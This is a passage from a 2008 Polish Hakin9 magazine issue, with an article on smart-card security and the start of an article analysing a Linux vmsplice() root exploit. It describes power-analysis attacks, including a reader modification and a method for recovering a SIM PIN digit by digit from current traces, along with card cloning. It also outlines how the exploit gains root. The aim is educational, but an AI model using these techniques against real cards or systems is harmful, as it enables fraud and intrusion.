Wymiary kart według normy ISO7816 to 

85,6 mm x 53,98 mm x 0,8 mm. Najczęściej 
wykonane są one z plastiku z zatopionym 
układem elektronicznym i stykami umieszczonymi 
w określonym normą miejscu. Ten rodzaj kart 
określany jest mianem kart zintegrowanych. 
Istnieją jeszcze karty HMD (ang. Hole Mounted 
Device) oraz SMD (ang. Surface Mounted Device), 
jednak są one raczej stosowane jako karty 
testowe oraz laboratoryjne.

Złącze karty, na którym umieszczone są 

styki elektryczne, także posiada określone w 
normie wymiary i podzielone jest na osiem pól 
odpowiadających ośmiu stykom.

GRZEGORZ BŁOŃSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

co to jest karta inteligentna,

jak atakowana jest karta.

CO POWINIENEŚ 

WIEDZIEĆ

jak ważne jest bezpieczeństwo, 

znać podstawy elektroniki,

umieć posługiwać się 

oscyloskopem.

Protokół komunikacyjny APDU

Na APDU składają się dwa polecenia, które 
odpowiadają za komunikację pomiędzy kartą. 

Command APDU (C-APDU): polecenie 

wykorzystywane przez aplikację na komputerze do 
wysyłania poleceń do karty. Korzysta z poniższych 
struktur danych:

•   header, składa się z 4 bajtów: 

•   klasy instrukcji (CLA), 
•   kodu instrukcji (INS), 
•   Parametrów: P1 oraz P2.

•   body (opcjonalne), o zmiennej długości: 

•   Lc – określa rozmiar ciała lub obszaru 

danych (w bajtach),

•   Le – określa rozmiar danych lub liczbę 

bajtów, na które oczekuje komputer w 
odpowiedzi na wysłaną komendę, 

•   Data field (obszar danych) – zawiera 

dane wysyłane do karty w celu wykonania 
instrukcji zawartej w nagłówku. 

•   Response APDU (R-APDU): polecenie 

używane przez kartę w odpowiedzi na 
polecenie wysłane przez aplikację z 
komputera. 

•   body (opcjonalne): zawiera obszar danych 

określonych przez Le, 

•   trailer : zawiera dwa słowa, SW1 oraz SW2, 

wywołane jako status, które opisują stan 
przetwarzania na karcie po wykonaniu 
polecenia APDU. 

Stopień trudności

Atak na 

Smart Cards

Codziennie używamy inteligentnych kart, myslimy że nasze 

pieniądze i dane zakodowane na kartach są bezpieczne, ale czy 

na pewno? Dowiedz się jakie zagrożenia na nas czekają i jak 

można zaatakować inteligentną kartę?

background image

33

 

HAKIN9 

ATAK NA SMART CARDS

9/2008

Protokoły 

transmisji danych TPDU

Dwa typy protokołów Transmission 
Protocol Data Units (TPDUs) używane są 
do transmisji APDU oraz struktury danych, 
która uległa zmianie: 
•   T = 0: najmniejszą przetwarzaną i 

transmitowaną jednostką jest bajt, 

•   T = 1: ten protokół przetwarza 

sekwencje danych (bloki danych). 

ATR

ATR (Answer To Reset) – odpowiedź na 
sygnał reset, używana do potwierdzania 
parametrów karty niezbędnych do 
nawiązania komunikacji z czytnikiem. 
Sygnał ATR wysyłany jest z karty do 
czytnika w momencie podania zasilania na 
styki karty. 

Wiadomość ATR – przeważnie 

w rozmiarze do 33 bajtów – zawiera 
parametry transmisji (T=0 oraz T=1), które 
są obsługiwane przez kartę, a także inne 
konieczne dla komputera z czytnikiem 
informacje, takie jak:

•   prędkość transmisji danych, 
•   parametry sprzętowe karty, 
•   numer seryjny karty, 
•   numer wersji maski.

System plików 

Hierarchiczny system plików 
wykorzystywany w kartach inteligentnych 
wspiera trzy typy plików: 

•   Master file (MF) – pojedynczy plik 

znajdujący się w głównym katalogu 

systemu, zawierający w sobie pliki DF 
oraz EF.

•   Dedicated file (DF) – katalog 

przechowujący inne pliki DF oraz EF. 

•   Elementary file (EF) – to plik, który 

zawiera dane. Można wyróżnić dwa typy 
struktur pliku:  
•   Transparent structure: plik 

zawierający sekwencję struktur 
danych,

•   Record structure: pliki zawierające 

zapis identyfikowalnych rekordów. 
Dla struktury tej da się zdefiniować 
kolejny podział:

  •   Linear fixed: plik zawiera rekordy  

  o ustalonym rozmiarze. 

  •   Variable: plik zawierający     

  rekordy o zmiennym rozmiarze,

  •   Cyclic: zawiera pliki        

     zorganizowane w strukturze koła. 

Najważniejsze z obecnie 
wykorzystywanych standardów kart 
procesorowych to:

•   Norma ISO 7816: Identification 

cards—Integrated circuit cards with 
contacts
, dokument opublikowany 
przez International Organization 
for Standarization (ISO), jest 
najważniejszym standardem 
definiującym charakterystykę kart 
chipowych posiadających styki 
elektryczne. 

•   GSM: European Telecommunications 

Standards Institute (ETSI) opublikował 
zestaw standardów określających 
rodzaje kart chipowych używanych w 

telefonii GSM. Obecnie używanych jest 
kilka standardów GSM (Tabela 4)

•   EMV: Standard zdefiniowany i utworzony 

przez Euro pay, MasterCard oraz 
Visa, bazuje na standardach ISO 
7816 z obsługą dodatkowych funkcji 
spełniających potrzeby sektora 
finansowego.

•   OCF: OpenCard Framework: wstępnie 

stworzony przez IBM, obecnie rozwijany 
przez OpenCard Consortium, w skład 
którego wchodzą najwięksi producenci 
kart na świecie. 

•   PC/SC: specyfikacja PC/SC 

(Interoperability Specification for ICCs 
and Personal Computer Systems), 
zdefiniowana przez PC/SC Workgroup 
– kolejne konsorcjum zrzeszające 
producentów kart inteligentnych. 
PC/SC definiuje architekturę 
powszechnego wykorzystania kart 
inteligentnych w komputerach klasy 
PC. Obecnie jest to na tyle popularny 
standard, że jego obsługa została 
zaimplementowana w systemach 
Windows XP oraz Vista. Istnieje także 
jego implementacja dla systemów 
UNIX/LINUX, nosząca nazwę 
MUSCLE.

Bezpieczeństwo 

kart inteligentnych

Bezpieczeństwo kart inteligentnych 
można rozpatrywać w czterech głównych 
kategoriach.

Bezpieczeństwo komunikacji 

Komunikacja – jako jeden z kluczowych 
elementów pozwalających na wymianę 
danych pomiędzy kartą a urządzeniem 
ją odczytującym – odbywa się przy 
pomocy specjalnego protokołu APDU 
(Application Protocol Data Units). Wolny, 
bo na poziomie 9600 bitów w trybie half 

Rysunek 1. 

Karta chipowa z procesorem 

AT90S8515

Tabela 1. 

Styki karty według normy ISO 7816

Numer styku

Nazwa

Opis

1

Vcc

napięcie zasilania 5V DC

2

Reset

reset

3

Clock

zegar

4

n/c

nie podłączony

5

GND

masa

6

n/c

nie podłączony

7

I/O

wejście/wyjście

8

n/c

nie podłączony

Tabela 2. 

Budowa polecenia Command-APDU

header

body

CLA

INS

P1

P2

Lc

Data field

Le

background image

ATAK

34

 

HAKIN9 9/2008

ATAK NA SMART CARDS

35

 

HAKIN9 

9/2008

dupleks, transfer pozwala jednak na 
bezproblemowe wykorzystanie takich 
rozwiązań w wielu zastosowaniach. 
Niemniej każde urządzenie, z którym 
karta się komunikuje, jest elementem 
powodującym ryzyko ataku podczas 
przesyłania danych.

Karta do komunikacji z czytnikiem 

używa aktywnego protokołu autentykacji. 
Procesor pracujący w układzie karty 
generuje liczbę, która następnie jest 
przesyłana do czytnika – ten szyfruje ją 
za pomocą klucza publicznego i odsyła 
do karty. Procesor karty weryfikuje 
zwróconą liczbę przy pomocy własnego 
klucza i zezwala na komunikację. Kiedy 
połączenie zostaje ustanowione, każda 
wiadomość przesyłana pomiędzy 
czytnikiem i kartą jest weryfikowana 
specjalnym kodem. Kod ten to wartość 
wyliczona na podstawie przesyłanych 
danych, klucza szyfrującego oraz 
losowo wygenerowanej liczby. W 
przypadku jakiejkolwiek zmiany podczas 
transmisji – nawet z powodu zakłócenia 
– wiadomość musi zostać przesłana 
jeszcze raz.

Najczęściej wykorzystywane w kartach 

inteligentnych rodzaje szyfrowania to DES 
(Data Encryption Standard) – długość 
klucza 56 bitów, 3DES (potrójny DES) 
– długość klucza 168 bitów oraz RSA 
(Rivest-Shamir-Adleman) – długość klucza 
1024 bity.

Bezpieczeństwo fizyczne.

Dane przechowywane na kartach 
inteligentnych znajdują się najczęściej w 
pamięciach EEPROM, które mogą być 
w łatwy sposób kasowane, a dane na 
nich – modyfikowane. Fizyczny dostęp 
do karty daje możliwość oddziaływania 
na nią na przykład promieniami 
cieplnymi czy świetlnymi w celu usunięcia 

zabezpieczeń zastosowanych przez 
część firm produkujących układy 
zabezpieczeń do kart inteligentnych. 
Bardziej destrukcyjne metody – takie, 
jak wycinanie układów z karty w celu 
ataku – są trudne do realizacji, ale w 
warunkach laboratoryjnych udaje się 
takie ataki przeprowadzać.

Bezpieczeństwo 
systemu operacyjnego.

Na kartach inteligentnych 
poszczególnych producentów 
zainstalowane są różne systemy 
operacyjne. Ich liczba stale rośnie, zatem 
opisywanie wszystkich obecnych na 
rynku nie ma sensu. Najbardziej znane 
i powszechne komercyjne systemy 
operacyjne kart chipowych to MULTOS 
i JavaCard. W opisanym wcześniej 
systemie plików wykorzystywanym 

w kartach inteligentnych możemy 
wyróżnić pięć podstawowych poziomów 
uprawnień.

•   Always (ALW): Dostęp do pliku dla 

każdego bez żadnych ograniczeń. 

•   Card holder verification 1 (CHV1): 

Dostęp możliwy tylko, gdy podano 
właściwą wartość CHV1. 

•   Card holder verification 2 (CHV2): 

Dostęp możliwy tylko, gdy podano 
właściwą wartość CHV2. 

•   Administrative (ADM): Dostęp na 

poziomie administracyjnym. 

•   Never (NEV): Dostęp do pliku zawsze 

zabroniony.

Wartości CHV1 oraz CHV2 można 
przyrównać do znanych nam z kart 
SIM kodów PIN oraz PIN2. Każda z 
tych wartości posiada zdefiniowany 

Rysunek 1a. 

Złącze karty inteligentnej z 

bliska

Tabela 5. 

Zestaw instrukcji wykorzystywanych w komunikacji czytnika z kartą

Instrukcje

Funkcje

0x60

Sprawdza typ czytnika i aktywuje go

0x61

Ustawia czytnik parametrami ICC

0x62

Włącza zasilanie karty

0x63

Wyłącza zasilanie karty

0x64

Wysyła sygnał RESET do karty

0x65

Sprawdza status karty

0x66

Wysyła jeden bajt danych do czytnika

0x67

Wysyła blok danych do czytnika

0x68

Przesyła ponownie ostatni blok danych

0x69

Wyświetla możliwości czytnika

0x6A

Deaktywuje czytnik

0x6B

Aktywuje opcje dodatkowe czytnika

0x6C-0x6F

Instrukcje zapasowe do wykorzystania w przyszłości

Tabela 4. 

Standardy kart GSM

GSM 11.11 

Specyfikacja interfejsu SIM-mobile

GSM 11.14 

Specyfikacja narzędzi aplikacyjnych SIM dla interfejsu SIM-mobile 

GSM 03.48 

mechanizmy bezpieczeństwa dla narzędzi aplikacyjnych SIM 

GSM 03.19 

SIM API (Application Programming Interface) dla platformy 

Java Card bazuje na standardach GSM 11.11 oraz GSM 11.14, 

definiuje Java API dla rozwoju aplikacji GSM, które mogą 

pracować na platformie Java Card. 

Tabela 3. 

Budowa odpowiedzi Response-APDU

body

trailer

Data field

SW1

SW2

background image

ATAK

34

 

HAKIN9 9/2008

ATAK NA SMART CARDS

35

 

HAKIN9 

9/2008

licznik błędnie wprowadzanych kodów, 
poszczególni producenci stosują różne 
wartości.

Bezpieczeństwo oprogramowania

W tej materii pole do popisu mają 
autorzy programów współpracujących 
z czytnikami kart i kartami. Jeśli 
aplikacje przez nich wprowadzane na 
rynek są odpowiednio zabezpieczone 
i nie posiadają luk pozwalających na 
przechwycenie transmisji pomiędzy 
kartą a oprogramowaniem komputera, to 
możemy czuć się bezpieczni. 

Rodzaje ataków 

na karty inteligentne

Możliwości zaatakowania kart inteligentnych 
nie są może ogromne, lecz istnieje kilka 
znanych technik, które są wykorzystywane 
przez crackerów.

Prześwietlanie promieniami UV lub 

rentgenowskimi w celu uzyskania informacji 
takich jak PIN czy klucz prywatny lub 
publiczny to metoda raczej teoretyczna 
i niedostępna dla każdego. Analiza EM 
przy użyciu mikroskopu elektronowego 
w celu dokładnego zbadania struktury 
maski to także raczej sposób dla 
naukowców w laboratoriach. Przykładem 
ataku możliwego do wykonania przez 
prawie przeciętnego zjadacza chleba 
może być klonowanie, czyli wykonanie 
wiernej kopii karty. Działanie takie jest 
nielegalne – jest ewidentnie swoistym 
rodzajem ataku, a jako przykład można 
przytoczyć kopiowanie kart kodowych 
nadawców płatnej telewizji satelitarnej. 
Znanym i dobrze opisanym jest atak DPA 
(Differential Power Analysis), polegający 
na analizowaniu przebiegów różnych 
wartości sygnałów podczas używania 
karty. Dogłębna analiza pozwala na 
odkrycie wzoru zapisu danych i późniejsze 
skompromitowanie karty poprzez poznanie 
jej PINu czy klucza prywatnego. Sprzęt 
potrzebny do takiego ataku to odpowiednio 
zmodyfikowany czytnik kart oraz 
oprogramowanie pozwalające dokonywać 
zapisu przebiegów elektrycznych. Inną, 
prostszą odmianą tego ataku jest SPA 
(Simple Power Analysis), polegająca na 
bezpośredniej analizie zapisanych danych 
odnoszących się do linii zasilającej kartę 
i zachowań poziomów napięć i prądu 
podczas wykonywania operacji na karcie.

Do wykonania takiego ataku potrzeba 

nieco wiedzy z zakresu elektroniki, odrobiny 
sprzętu pomiarowego, komputera i 
oprogramowania do zapisu próbek oraz 
późniejszej analizy. Aby móc dokonywać 

pomiarów wartości prądu i napięcia 
na stykach karty, należy odpowiednio 
zmodyfikować czytnik w taki sposób, aby 
można było podłączyć do niego sondę 
pomiarową oscyloskopu.

Rysunek 2. 

Schemat podłączenia oscyloskopu do złącza smartcard

Vcc

GND

Oscyloskop

Rysunek 3. 

Schemat blokowy zestawu do akwizycji danych w ataku SPA

Karta

Czytnik kart

inteligentnych

Oscyloskop

Komputer PC

USB

USB

Rysunek 4. 

Widoczne różnice w obciążeniu prądowym karty

background image

ATAK

HAKIN9 9/2008

ATAK NA SMART CARDS

37

 

HAKIN9 

9/2008

Uproszczony schemat modyfikacji, 

którą należy wykonać, można zobaczyć na 
Rysunku 2. Zastosowany rezystor powinien 
mieć wartość od kilku do kilkudziesięciu 
omów. Różne źródła podają wartości w 
zakresie od 5 do 50 omów.

Pomiar dokonywany za pomocą 

oscyloskopu na biegunach rezystora 
pozwala rejestrować wahania napięcia 
powodowane przez wykonywanie na 
karcie różnych operacji. Pojedynczy zapis 
operacji w postaci wykresu nazywany jest 
ścieżką.

Simple Power Analysis polega na 

wizualnej analizie zebranych w ten sposób 
próbek. Odpowiednio zmodyfikowany 
czytnik kart w połączeniu z komputerem 
oraz oscyloskopem tworzy zestaw 
przygotowany do akwizycji danych. Przykład 
takiego rozwiązania z wykorzystaniem 
czytnika podłączanego poprzez USB 
oraz oscyloskopu (również podłączonego 
poprzez USB) pokazuje schemat blokowy 
na Rysunku 3.

Zapis widoczny na Rysunku 4. pokazuje, 

że różne operacje wykonywane przez układ 
elektroniczny karty powodują zmieniający 
się w czasie pobór prądu przez kartę. 
Wynika to z faktu, iż poszczególne 
fragmenty programu obsługi karty (a 
więc różne instrukcje) powodują zmienną 
aktywność mikroprocesora karty, czyli 
różne obciążenie prądowe. Dzięki takim 
właśnie różnicom Simple Power Analysis 
jest możliwa do przeprowadzenia.

W przypadku karty SIM i próby 

odgadnięcia numeru PIN w celu uzyskania 
dostępu do zaawansowanych funkcji karty, 
wykresy będą się różniły w zależności 
od cyfr, które będą wprowadzane. 
Podczas wprowadzania ciągu 0000 
wykres pokazuje, że czas pracy procesu 
sprawdzającego to ponad 1000 
mikrosekund. Podczas wprowadzania 
ciągu 4000 czas się zwiększa – co może 
sugerować zweryfikowanie pierwszej cyfry 
4 jako poprawnej (bo tylko ona się zmieniła 
w stosunku do poprzednich czterech zer). 

Kolejny wykres po wprowadzeniu ciągu 
4500 pokazuje dalsze wydłużenie czasu 
pracy procesu sprawdzającego do prawie 
1200 mikrosekund, co sugeruje, że cyfra 5 
również jest poprawna.

Wpisanie ciągu 4560 powoduje dalsze 

wydłużanie się wykresu procesu, a zatem 
kolejna cyfra 6 jest właściwa. Z uwagi na 
to, że prawdopodobnie po trzykrotnym 
wprowadzeniu błędnego PINu karta 
zostanie zablokowana, metoda może być 
skuteczna przy długim okresie zapisywania 
wprowadzanego właściwego PINu przez 
użytkownika i analizowaniu zapisów ścieżek 
oraz porównywania ich z naszymi własnymi 
próbami wprowadzania PINu. 

Do przeprowadzenia ataku SPA nie 

jest potrzebny specjalistyczny oscyloskop 
– w zupełności wystarczy prosty, oparty na 
układzie ADC0820, podłączany do portu 
równoległego komputera PC. W przypadku 
bardziej zaawansowanych oscyloskopów 
będziemy mieli bardziej dokładne zapisy, 
wykonane z większą częstotliwością. 
Oprogramowanie do akwizycji, czyli 
zbierania danych, można znaleźć bez 
problemu w Internecie. W zupełności 
wystarcza ono do pierwszych testów 
bezpieczeństwa kart inteligentnych.

Symulowanie ataków przy 

użyciu nieskomplikowanych układów 
elektronicznych i prostych narzędzi 
programowych pozwala wyciągnąć wnioski 
na temat łatwości ich dokonania przez 
potencjalnego intruza. 

Firma Riscure oferuje całą gamę 

programów przydatnych podczas 
badania poziomu bezpieczeństwa kart 
inteligentnych. Jednym z ciekawych 
programów do analizy podczas ataków 
SPA oraz DPA jest Inspector. Jego 
możliwości pozwalają na jednoczesne 
wyświetlanie kilku ścieżek, co ułatwia 
porównywanie przebiegów. Niestety, 

Rysunek 5. 

Ścieżki wahań napięcia podczas wprowadzania kodu PIN

Rysunek 6. 

Inspector w akcji

Rysunek 7. 

Wyłuskane złącze wraz z 

układem elektronicznym

36

 

background image

ATAK

HAKIN9 9/2008

ATAK NA SMART CARDS

37

 

HAKIN9 

9/2008

program nie jest darmowy, a – co 
gorsza – nie jest dostępna jego wersja 
demonstracyjna.

Bezpośredni atak na kartę – jej układ 

elektroniczny, strukturę danych – choć jest 
możliwy do przeprowadzenia, to jednak 
sprzęt potrzebny do jego wykonania 
dyskwalifikuje domorosłych crackerów. 
Samo obnażenie układu elektronicznego 
nastręcza wiele trudności. Wyjęcie układu 
podczepionego pod złącze ISO nie jest 
specjalnie trudne i spokojnie da się to 
zrobić bez specjalnych narzędzi.

Dostanie się do wnętrza karty poprzez 

podłączenie się do szyny danych z 
pominięciem wszelkich zabezpieczeń 
szyfrujących nie jest już jednak takie 
proste. Potrzeba do tego celu specjalnego 
laboratorium z odpowiednim sprzętem 
– przy wykorzystaniu mikroskopu 
można wykonać takie podłączenie, co 
udowodnił niedawno Chris Tarnovsky z 
Flylogic Engineering. Na szczęście dla 

bezpieczeństwa kart inteligentnych niewiele 
jest osób mających dostęp do takiego 
sprzętu i mogących dokonać tego rodzaju 
ataku na kartę.

Warto w tym momencie dodać, że 

aby podobne ataki – naruszające fizyczną 
strukturę karty – były skuteczne, musiałyby 
odbywać się w bardzo krótkim czasie, 
gdyż właściciel karty zauważywszy jej brak 
zgłosiłby jej zaginięcie. W tym momencie 
odpowiednie służby mogłyby zablokować 
możliwość korzystania z tej właśnie karty, 
co byłoby kompletnym fiaskiem dla 
crackera. 

Firmy produkujące karty chipowe 

stosują różne zabezpieczenia w swoich 
produktach, aby minimalizować podatność 
ich kart na atak.

Miniaturyzacja struktury układu 

elektronicznego powoduje, że bez 
odpowiedniego sprzętu laboratoryjnego 
dostęp do elektroniki jest utrudniony. 
Niektóre firmy stosują specjalne 

oprogramowanie, które podczas wykrycia 
działań mogących sugerować atak 
powodują blokadę dostępu do danych na 
karcie, z kasowaniem zawartości pamięci 
włącznie (STMicroelectronics). Wydaje się , 
że jednym z bardziej skutecznych ataków (i 
stosunkowo prostych do zorganizowania) 
są ataki man-in-the-middle, w których 
atakujący lokuje się na drodze komunikacji 
pomiędzy kartą a aplikacją w komputerze. 
Dla każdej ze stron – zarówno dla karty, 
jak i dla aplikacji – atakujący widoczny jest 
jako uwierzytelniony element komunikacji, 
co pozwala na przechwytywanie transmisji 
i modyfikowanie wysyłanych komend. 
Najbardziej narażone na tego rodzaju 
ataki są obecnie czytniki wyposażone w 
interfejsy szeregowe, równoległe czy USB. 

Podsumowanie

Zagadnienie bezpieczeństwa kart 
inteligentnych nie jest łatwe do 
rozpatrywania, ponieważ bardzo często 
same karty są składnikiem systemu 
mającego zapewniać bezpieczeństwo. 
Użytkownicy bardzo często traktują 
zabezpieczenie poprzez kartę jako bardzo 
bezpieczne rozwiązanie, zapewniające 
stuprocentowe bezpieczeństwo 
– nie biorąc pod uwagę możliwości 
ewentualnych ataków na dane znajdujące 
się na karcie. W przypadku kart GSM 
ochrona to dwa kody PIN, a jednak 
bez większego problemu możliwe jest 
klonowanie takich kart bez posiadania 
specjalistycznego przygotowania. Niewiele 
osób zdaje sobie sprawę z faktu, iż nawet 
najbardziej nowoczesna technologicznie 
karta, z bardzo szybkim procesorem, 
zaawansowanymi metodami szyfrowania 
danych może stać się celem ataku – i 
całkiem możliwe, że ataku udanego. Rynek 
kart inteligentnych rozwija się bardzo 
dynamicznie – coraz więcej producentów 
stosuje produkty oparte właśnie o tę 
technologię, często w połączeniu z innymi 
rozwiązaniami zabezpieczającymi. Jednak 
nawet do tego typu zabezpieczeń należy 
podchodzić z odpowiednim dystansem.

Grzegorz Błoński 

Grzegorz Błoński, z wykształcenia jest informatykiem, 

certyfikowanym specjalistą IBM. Pracuje w dużej firmie 

o zasięgu światowym. Zajmuje się administracją i 

bezpieczeństwem sieciowym. Jest członkiem organizacji 

International Information Systems Forensics Association 

(IISFA), ISACA, ISSA oraz Internet Society.

Kontakt z autorem: mancymonek@mancymonek.pl

Rysunek 8. 

Złącze po odwróceniu kryje pod sobą układ elektroniczny z widocznymi 

połączeniami układu do styków karty

W Sieci

•   http://www.weethet.nl/english/smartcards_types.php,
•   http://www.devshed.com/c/a/Practices/Smart-Cards-An-Introduction/8,
•   http://hackedgadgets.com/2008/06/03/smart-card-hacking,
•   http://www.axalto.com,
•   http://www.smartcard.ust.hk/security/content.htm,
•   http://www.cl.cam.ac.uk/~rja14/tamper.html.

background image

38

 

HAKIN9

ATAK

9/2008

B

łędy w kernelach pojawiają się od dawna. W 
zależności od aktywności osób szukających 
błędów w jądrach, częstotliwość 

odnajdywania nowych dziur jest większa lub 
mniejsza. Grupą, która w ostatnich latach odkryła 
najwięcej krytycznych błędów w kernelu systemu 
Linux, jest iSEC Security Research. Najbardziej 
bolesne dla administratorów są dziury, za pomocą 
których można uzyskać uprawienia roota, a 
większość tych błędów właśnie to umożliwia.

Najczęściej błędy odkrywane są w funkcjach, 

wywołaniach systemowych, które nieodpowiednio 
pilnują granic pamięci, jaką udostępniają 
użytkownikowi. Zdarzają się także błędy związane 
z nieprawidłową obsługą sygnałów (http://isec.pl/
vulnerabilities/isec-0024-death-signal.txt
).

Ostatni błąd w kernelu systemu Linux został 

odkryty przez Wojtka Purczyńskiego (iSEC/
COSEINC) w lutym 2008 roku (stan na 20 kwietnia 
2008). Problem dotyczył wywołania systemowego 
vmsplice(), które jest bohaterem tego artykułu.

Konsekwencje błędów w jądrze

Część błędów w jądrze systemu operacyjnego 
jest bardzo podobnych do klasycznych błędów 
typu buffer overflow, z tą różnicą, że odbywa się 
to w innej warstwie systemu operacyjnego. Także 
obraz pamięci kernela jest inny niż procesu. 
Praca jądra nie kończy się, a jeżeli do tego dojdzie 
– system zostanie zamrożony, przestanie działać. 
Stąd też prosta refleksja, że nie ma możliwości 
nadpisywania pamięci jądra bez konsekwencji, 

PRZEMYSŁAW SKOWRON

Z ARTYKUŁU 

DOWIESZ SIĘ

na czym polegał błąd w sys_

vmsplice() w kernelu 2.6.24-25, 

jak działa exploit, 

jak skutecznie utrudnić lub 

uniemożliwić atak na kernel.

CO POWINIENEŚ 

WIEDZIEĆ

znać podstawy programowania 

w języku C z wykorzystaniem 

potoków,

znać podstawy budowy systemu 

Linux.

jeżeli zostanie to zrobione źle. Kod jądra w pamięci 
nie jest opróżniany czy wymieniany i należy o tym 
pamiętać. Co prawda istnieją metody modyfikacji 
kodu kernela w locie, lecz nie jest to tematem tego 
artykułu. 

Istotą wykorzystywania błędów w kernelu 

jest podsunięcie takiego kodu, który wykona 
oczekiwaną przez nas operację, np. nada nam 
uprawnienia administratora, zamknie system, 
uszkodzi go. Jeżeli ilość danych, jakie możemy 
nadpisać, jest zbyt mała lub błąd jedynie 
powoduje wykonanie operacji, powodując 
naruszenie pamięci jądra, to można próbować 
wykonać atak typu DoS.

W przypadku błędów w jądrze nie musimy 

przejmować się tym, z jakimi uprawnieniami 
zostanie wykorzystany kod, który udało się nam 
wstrzyknąć w przestrzeń jego pamięci. Kernel 
pracuje w trybie 

ring0

, co oznacza, że wszystkie 

operacje, jakie wykonuje są przeprowadzane z 
uprawnieniami administratora systemu. Nie ma to 
jednak związku z użytkownikiem root. W systemie 
Linux wyróżnione są dwa poziomy uprawnień, z 
jakimi działa system. Tryb 

ring0

 (administratora), w 

Stopień trudności

Błędy w 

jądrach 

systemów

Błędy w programach to problem danej aplikacji. Uchybienia 

w kernelu mają zasięg globalny, ograniczony oczywiście 

możliwościami wykorzystania go. Jeżeli jądro naszego systemu 

zawiera błąd, możemy spodziewać się sporych problemów, a 

większość zabezpieczeń może okazać się bezużyteczna.

W Sieci

•   http://en.wikipedia.org/wiki/Ring_(computer_

security),

•   http://milw0rm.com/exploits/5093,
•   http://isec.pl/vulnerabilities/isec-0024-death-

signal.txt

background image

39

 

HAKIN9 

BŁĘDY W JĄDRACH SYSTEMÓW OPERACYJNYCH

9/2008

którym pracuje kernel, i tryb 

ring3

, w którym 

pracuje cała reszta systemu.

vmsplice()

Mając wyobrażenie o konsekwencjach 
błędów w jądrze, możemy przejść do 
sedna sprawy. 

Wywołanie systemowe 

vmsplice()

 

jest stosunkowo nowe i występuje tylko w 
kernelach z linii 2.6, konkretnie od 2.6.17. 
Autorem wywołania jest Jens Axboe, a jego 
zadaniem jest optymalizacja operacji I/O 

dla niewielkich buforów w ramach jądra, bez 
wychodzenia do przestrzeni użytkownika 
(ang. userland). Deskryptor, na jakim 
pracuje 

vmsplice()

, powinien wskazywać 

na potok (ang. pipe). Samą definicję funkcji 

vmsplice()

 można zobaczyć na Listingu 

1. a więcej o niej przeczytać w podręczniku 
systemowym (

man 2 vmsplice

). 

Istotna dla definicji funkcji jest struktura 

iovec (Listing 2), określająca adres 
startowy, z którego są odczytywane lub 
zapisywane dane, a także ich wielkość. 

Przykład z Listingu 3. pokazuje w 

elementarny sposób, jak działa i może być 
wykorzystywana funkcja 

vmsplice()

rez@w ~/expl/vmsplice $ gcc vm-       
                 hakin9.c -o vm-hakin9 
rez@w ~/expl/vmsplice $ ./vm-hakin9 
1st: Testowe wywolanie vmsplice()     
                 - czytam 
2nd: Testowe wywolanie vmsplice()     
                 - pisze 

Przykład ten jest pozbawiony obsługi 
błędów, co jest bardzo złą praktyką 
w kontekście tworzenia bezpiecznych 
aplikacji, ale zabieg ten został wykonany 
celowo – by nie zaciemniać obrazu 
przykładowego użycia funkcji 

vmsplice()

.

Analiza exploita

Obsługa błędów dla 

vmsplice()

 

pozostawiała wiele do życzenia. Wojtek 
Purczyński odnalazł kilka wrażliwych 
miejsc, które można wykorzystać 
do wstrzyknięcia własnego kodu 
wykonywanego w przestrzeni jądra. Błąd 
dotyczący wersji 2.6.17-2.6.24, a także 
sposób przeprowadzenia ataku, został 
dość szczegółowo opisany w licznych 
publikacjach, dlatego też skoncentrujemy 
się na innej podatności występującej w 
wersji kernela 2.6.23-2.6.24.

Najlepiej będzie zapoznać się z 

błędem analizując działanie exploita. Jego 
kod źródłowy jest powszechnie dostępny 
w archiwach serwisu 

milw0rm.com

, a 

także pokazany na Listingu 4. Pierwsze 
linie to odpowiednie pliki nagłówkowe 
programu. Następnie mamy dwie 
zdefiniowane stałe, 

TARGET _ PATTERN

 

– wielkość później wykorzystaną do 
znalezienia wywołania systemowego 
sys_vm86old oraz 

TARGET _ SYSCALL

 

– numer wywołania systemowego 

sys _

vm86old

. Dalej zdefiniowany jest numer 

wywołania systemowego 

vmsplice. 

_ vmsplice()

 będzie funkcją odwołującą 

się do wywołania systemowego 

vmsplice

 

z parametrami, a 

gimmeroot()

 stanie 

się funkcją, która za pomocą użytego 
tricku spróbuje uzyskać dla użytkownika 
uprawnienia roota. Właściwie w tym 
momencie można podejrzewać, że coś tu 
jest nie tak. TARGET_SYSCALL wskazuje 
na sys_vm86old, który potrzebuje dwóch 
argumentów, natomiast tutaj jest ich 6. 

TRAMP _ CODE

 będzie wskaźnikiem do 

kodu znajdującego się wewnątrz tablicy 
trampoline[], a 

TRAMP _ SIZE

 – jak 

sama nazwa wskazuje – jest rozmiarem 
tej tablicy. Poniżej kod okraszony jest 
komentarzem w postaci kodu asemblera. 
Jeżeli pod adresem 0x4(%esp) znajduje 
się liczba 31337, to wywoływana jest 
instrukcja spod adresu 0x8(%esp). Czy 
to coś przypomina? Zdecydowanie tak. 
Funkcja 

die()

 służy tylko i wyłącznie 

do informowania o błędzie. Kolejno, 
funkcja 

get _ target()

, przeglądając 

plik /proc/kallsyms, szuka adresu, pod 
jakim znajduje się wywołanie systemowe 

sys _ vm86old

Funkcja 

get _ current()

 jest 

implementacją makra current, znaną 
z kernela, która zwraca wskaźnik do 
struktury task_struct opisującej aktualnie 

Listing 1. 

Deklaracja vmsplice()

#

define _GNU_SOURCE 

#include 

<fcntl.h>

 

#include 

<sys/uio.h>

 

long

 

vmsplice

(

int

 

fd

const

 

struct

 

iovec

 

*

iov

unsigned

 

long

 

nr_segs

unsigned

 

int

 

flags

);

 

Listing 2. 

Struktura iovec

struct

 

iovec

 

{

 

void

 

*

iov_base

;

 

/* Starting address */

 

size_t

 

iov_len

;

 

/* Number of bytes */

 

}

;

Listing 3. 

Przykładowe użycie funkcji 

vmsplice() 

#include 

<stdio.h>

 

#include 

<unistd.h>

 

#include 

<string.h>

 

#include 

<fcntl.h>

 

#include 

<sys/uio.h>

 

int

 

main

 

(

void

)

 

{

 

    

int

 

pipes

[

2

];

 

    

char

 

buf

[]

 

=

 

"Testowe wywolanie 

vmsplice() - 
czytam

\n

"

;

 

    

char

 

buf2

[]

 

=

 

"Testowe wywolanie 

vmsplice() - 
pisze

\n

"

;

 

    

char

 

tmp

[

64

];

 

    

struct

 

iovec

 

i

;

 

    

memset

(

tmp

0x0

sizeof

(

tmp

));

 

    

pipe

(

pipes

);

 

    

i

.

iov_base

 

=

 

(

void

 

*)

tmp

;

   

iov_len

 

=

 

sizeof

(

tmp

)-

2

;

 

    

write

(

pipes

[

1

]

buf

strlen

